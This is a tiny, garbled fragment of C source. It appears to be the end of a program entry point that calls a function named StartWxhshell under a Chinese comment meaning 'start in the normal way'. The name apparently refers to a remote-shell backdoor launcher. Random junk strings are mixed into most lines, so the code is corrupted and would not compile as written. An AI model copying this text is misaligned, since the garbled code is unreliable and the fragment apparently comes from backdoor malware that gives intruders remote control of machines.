else Xk?Y
// 普通方式启动 kk$D:UQX
StartWxhshell(lpCmdLine); ,X)/ T!ff
kIJ=]wU|v
return 0; 5;CqGzgoP
}